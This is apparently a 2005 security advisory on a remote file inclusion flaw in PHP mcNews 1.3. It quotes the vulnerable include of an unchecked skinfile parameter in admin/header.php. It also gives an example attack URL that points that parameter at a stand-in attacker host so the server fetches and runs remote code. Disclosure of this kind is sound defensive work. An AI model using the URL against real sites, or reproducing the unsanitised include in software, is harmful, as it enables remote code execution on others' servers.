PHP mcNews version 1.3 is susceptible to an arbitrary file inclusion flaw.
7ea4e770c91cae3aa7b7e44fa92d3f74ac9d965aed13cc7d1bd755127fd31474
-- == -- == -- == -- == -- == -- == -- == -- == -- == --
Name: PHP mcNews
Version: 1.3
Homepage: http://www.phpforums.net/index.php?dir=dld
Author: Filip Groszynski (VXSfx)
Date: 7 March 2005
-- == -- == -- == -- == -- == -- == -- == -- == -- == --
Vulnerable code in mcNews/admin/header.php:
<?
// mcNews 1.3 Marc Cagninacci marc@phpforums.net
?>
...
<?
if($voir!='') {
$skinfile=strstr($skinfile, 'skin');
include ("$skinfile");
?>
...
--------------------------------------------------------
Example:
if register_globals=on and allow_url_fopen=on:
http://[victim]/[dir]/mcNews/admin/header.php?skinfile=http://[hacker_box]/
--------------------------------------------------------
Contact:
Author: Filip Groszynski <VXSfx>
Location: Poland <Warsaw>
Email: groszynskif <at> gmail <dot> com
HP: http://shell.homeunix.org
-- == -- == -- == -- == -- == -- == -- == -- == -- == --